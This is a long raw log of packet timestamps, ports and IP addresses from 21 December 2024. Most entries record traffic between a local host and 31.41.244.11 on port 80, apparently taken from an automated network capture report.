                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.708173990 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.709311962 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.709367037 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.709434032 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.709480047 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.710325003 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.710385084 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.710449934 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.710544109 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.711431026 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.711569071 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.711626053 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.712608099 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.712666988 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.712719917 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.712765932 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.713783026 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.713948965 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.714004993 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.715013027 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.715065002 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.715111971 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.715162039 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.716084957 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.716135979 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.716197968 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.716243982 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.717195034 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.717242956 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.717464924 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.717509985 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.718346119 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.718446016 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.718493938 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.719439983 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.719489098 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.719556093 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.719599962 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.720716953 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.720769882 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.720820904 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.720868111 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.721925974 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.721961021 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.722027063 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.722243071 CET44349853104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.722311020 CET44349853104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.723011017 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.723045111 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.723078966 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.723089933 CET49853443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.723104000 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.723462105 CET49853443192.168.2.4104.21.67.146
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.723500013 CET44349853104.21.67.146192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.724149942 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.724324942 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.724385023 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.725214005 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.725269079 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.725344896 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.725394964 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.727210999 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.727268934 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.727339983 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.727391005 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.728286028 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.728337049 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.728454113 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.728499889 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.729367971 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.729419947 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.729422092 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.729470968 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.730160952 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.730221987 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.730285883 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.730350018 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.731184006 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.731244087 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.731307983 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.731416941 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.732208967 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.732274055 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.732297897 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.732338905 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.733242035 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.733297110 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.733310938 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.733340979 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.734441042 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.734536886 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.734550953 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.734581947 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.735544920 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.735627890 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.735665083 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.735744953 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.736815929 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.736870050 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.736926079 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.737922907 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.737957001 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.737982988 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.738015890 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.738990068 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.739150047 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.739204884 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.740216017 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.740250111 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.740268946 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.740300894 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.741269112 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.741324902 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.741384983 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.741446018 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.742402077 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.742470026 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.742546082 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.742602110 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.743556976 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.743612051 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.743689060 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.743745089 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.744831085 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.744865894 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.744903088 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.744918108 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.745850086 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.745918989 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.745985985 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.747015953 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.747123003 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.747184038 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.747241974 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.748155117 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.748251915 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.748301029 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.847357988 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.847470999 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.847476006 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.847521067 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.847917080 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.847959042 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.848051071 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.848102093 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.848273039 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.848320007 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.849229097 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.849276066 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.849322081 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.849384069 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.850514889 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.851082087 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.885339022 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.885406971 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.885466099 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.885796070 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.885907888 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.885960102 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.886923075 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.886982918 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.887025118 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.887069941 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.888072968 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.888118029 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.888169050 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.888216972 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.889651060 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.889755964 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.889805079 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.890372038 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.890423059 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.890481949 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.890527964 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.891585112 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.891623020 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.891633034 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.891669035 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.892725945 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.892771006 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.892781019 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.892839909 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.893806934 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.893914938 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.893963099 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.895086050 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.895122051 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.895137072 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.895164013 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.896255970 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.896303892 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.896359921 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.896405935 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.897376060 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.897423983 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.897500992 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.897546053 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.898422956 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.898473024 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.898477077 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.898524046 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.899696112 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.899732113 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.899780035 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.900722027 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.900769949 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.900837898 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.900882006 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.902026892 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.902062893 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.902111053 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.903106928 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.903160095 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.903162956 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.903207064 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.904438972 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.904475927 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.904486895 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.904520035 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.905572891 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.905615091 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.905628920 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.905662060 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.906471014 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.906730890 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.906765938 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.906811953 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.907680035 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.907732964 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.907773972 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.907819033 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.908740044 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.908787966 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.908885002 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.909075975 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.909902096 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.910088062 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.910145044 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.911276102 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.911330938 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.911509037 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.911556005 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.911948919 CET44349862172.217.17.65192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.912007093 CET49862443192.168.2.4172.217.17.65
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.912477016 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.912512064 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.912529945 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.912554979 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.913522959 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.913572073 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.913619995 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.913671970 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.914762020 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.914818048 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.914997101 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.915043116 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.915961027 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.916052103 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.916095018 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.916141033 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.916954994 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.917005062 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:47.917165041 CET804985031.41.244.11192.168.2.4
